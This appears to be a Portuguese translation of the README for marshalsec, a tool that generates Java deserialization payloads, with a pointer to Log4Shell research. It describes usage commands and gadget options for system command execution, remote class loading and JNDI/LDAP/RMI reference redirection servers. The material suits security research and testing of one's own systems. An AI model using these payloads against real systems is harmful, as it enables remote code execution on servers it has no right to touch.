Java Unmarshaller Security - Transformando seus dados em execução de código

Se você veio aqui por causa do Log4Shell/CVE-2021-44228, talvez queira ler sobre os vetores de exploração e as versões afetadas do Java Runtime: https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

Artigo

Já se passaram mais de dois anos desde que Chris Frohoff e Garbriel Lawrence apresentaram suas pesquisas sobre vulnerabilidades de desserialização de objetos Java, resultando no que pode ser prontamente descrito como a maior onda de bugs de execução remota de código na história do Java.

A pesquisa sobre o assunto indicou que essas vulnerabilidades não são exclusivas de mecanismos tão expressivos quanto a serialização Java ou o XStream, mas algumas poderiam possivelmente ser aplicadas a outros mecanismos também.

Este artigo apresenta uma análise, incluindo detalhes de exploração, de várias bibliotecas Java de marshalling de código aberto que permitem(iam) o unmarshalling de tipos arbitrários fornecidos pelo atacante, e mostra que, não importa como esse processo seja realizado e quais restrições implícitas estejam em vigor, ele é propenso a técnicas de exploração semelhantes.

O artigo completo está em marshalsec.pdf

Aviso Legal

Todas as informações e códigos são fornecidos exclusivamente para fins educacionais e/ou para testar seus próprios sistemas quanto a essas vulnerabilidades.

Uso

Requer Java 8. Compile usando maven mvn clean package -DskipTests. Execute como

java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]

onde

• -a - gera/testa todos os payloads para esse marshaller
• -t - executa em modo de teste, fazendo unmarshalling dos payloads gerados após gerá-los.
• -v - modo verboso, por exemplo, também mostra o payload gerado no modo de teste.
• gadget_type - Identificador de um gadget específico; se omitido, exibirá os disponíveis para aquele marshaller específico.
• arguments - Argumentos específicos do gadget

Geradores de payload para os seguintes marshallers estão incluídos:

Argumentos e pré-requisitos adicionais

Execução de Comandos do Sistema

• cmd - comando a executar
• args... - parâmetros adicionais passados como argumentos

Sem pré-requisitos.

Carregamento Remoto de Classes (simples)

• codebase - URL do codebase remoto
• class - Classe a carregar

Pré-requisitos:

• Configure um servidor web hospedando um classpath Java em algum caminho.
• Os arquivos de classe compilados a carregar precisam ser servidos de acordo com as convenções de classpath do Java.

Carregamento Remoto de Classes (ServiceLoader)

• service_codebase - URL do codebase remoto

O serviço a carregar está atualmente fixo (hardcoded) para javax.script.ScriptEngineFactory.

Pré-requisitos:

• Os mesmos do carregamento remoto de classes simples.
• Também é necessário um arquivo de configuração do provedor em /META-INF/javax.script.ScriptEngineFactory contendo o nome da classe alvo em texto simples.
• A classe alvo especificada lá precisa implementar a interface de serviço javax.script.ScriptEngineFactory.

Indireção de Referência JNDI

• jndiUrl - URL JNDI para acionar a consulta (lookup)

Pré-requisitos:

• Configure um codebase remoto, igual ao carregamento remoto de classes.
• Execute um serviço de redirecionamento de referência JNDI apontando para esse codebase - duas implementações estão incluídas: marshalsec.jndi.LDAPRefServer e RMIRefServer.
  root@kitploit:~

  java -cp target/marshalsec-[VERSION]-SNAPSHOT-all.jar marshalsec.jndi.(LDAP|RMI)RefServer <codebase>#<class> [<port>]
  

• Use (ldap|rmi)://host:port/obj como jndiUrl, apontando para o endereço de escuta desse serviço.

Executando os testes

Existem algumas propriedades de sistema que controlam os argumentos ao executar os testes (através do maven ou ao usar -a)

• exploit.codebase, o padrão é http://localhost:8080/
• exploit.codebaseClass, o padrão é Exploit
• exploit.jndiUrl, o padrão é ldap://localhost:1389/obj
• exploit.exec, o padrão é /usr/bin/gedit

Os testes são executados com um SecurityManager instalado que verifica a execução de comandos do sistema, bem como código executado a partir de codebases remotos. Para que isso funcione, a classe carregada em uso deve acionar alguma verificação do security manager.